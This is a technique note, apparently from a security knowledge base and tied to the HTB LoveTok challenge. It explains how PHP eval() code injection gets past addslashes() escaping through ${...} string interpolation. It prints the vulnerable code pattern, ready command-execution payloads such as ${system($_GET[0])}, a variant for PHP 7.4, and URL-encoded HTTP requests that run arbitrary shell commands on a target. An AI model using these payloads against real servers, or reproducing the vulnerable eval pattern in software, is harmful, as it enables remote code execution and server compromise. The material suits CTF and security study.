Quote escape bypass
PHP eval quote-escape bypass through string interpolation
PHP code injection remains possible when quote escaping prevents termination of a double-quoted string but leaves PHP string interpolation available inside the source passed to eval().
Source review
The vulnerable pattern reads attacker-controlled input, escapes quotes with addslashes(), inserts the result into a double-quoted string, then evaluates the constructed PHP source:
$format = $_GET["format"];
$format = addslashes($format);
$source = '$result = date("' . $format . '");';
eval($source);Two parsing stages matter. The application first builds the $source string. eval() then parses that completed string as PHP code. addslashes() returns a new string containing backslashes before single quotes, double quotes, backslashes, and NUL bytes; it does not modify $format in place, so the returned string must be assigned:
$input = 'a"b';
$escaped_input = addslashes($input);
print($escaped_input);Expected output
a\"bQuote termination is blocked, but $, {, }, and numeric array indexes remain unchanged. When eval() performs the second parsing stage, the escaped value is located inside the double-quoted string in $source. PHP therefore interprets ${...} as string interpolation and evaluates the enclosed expression while constructing that string.
Quote-free command execution
A numeric query key provides the command without requiring quotes inside the injected expression:
${system($_GET[0])}After concatenation, the source passed to eval() becomes:
$result = date("${system($_GET[0])}");$_GET is the PHP array containing query-string parameters. The numeric index 0 avoids introducing quote characters into the injected expression. system() accepts that parameter as a shell command, executes it, prints the command’s stdout directly, and returns the last line of output. The request can be sent as:
GET /?format=%24%7Bsystem%28%24_GET%5B0%5D%29%7D&0=<COMMAND> HTTP/1.1
Host: <TARGET>Expected response content
<COMMAND_OUTPUT>The surrounding function may subsequently emit a warning or produce an empty value. Command output printed by system() remains the execution signal.
PHP 7.4 named-key variant
PHP 7.4 interprets an undefined bareword constant as a string after emitting a warning. This permits a named query key without quotes:
${system($_GET[cmd])}GET /?format=%24%7Bsystem%28%24_GET%5Bcmd%5D%29%7D&cmd=<COMMAND> HTTP/1.1
Host: <TARGET>PHP 8 raises an Error for undefined constants instead of interpreting them as strings. The numeric-key form avoids this version-specific behavior. The ${...} interpolation form is deprecated as of PHP 8.2, so the exact PHP version and evaluated string context remain part of the prerequisite check.
Find by: php code injection, php eval, eval injection, addslashes bypass, escaped quotes, quote escape bypass, double quoted string, string interpolation, dollar curly braces, system, command execution, php 7.4, undefined constant, numeric query key · Source: HTB/LoveTok, PHP addslashes, string interpolation, system, and PHP 8 migration documentation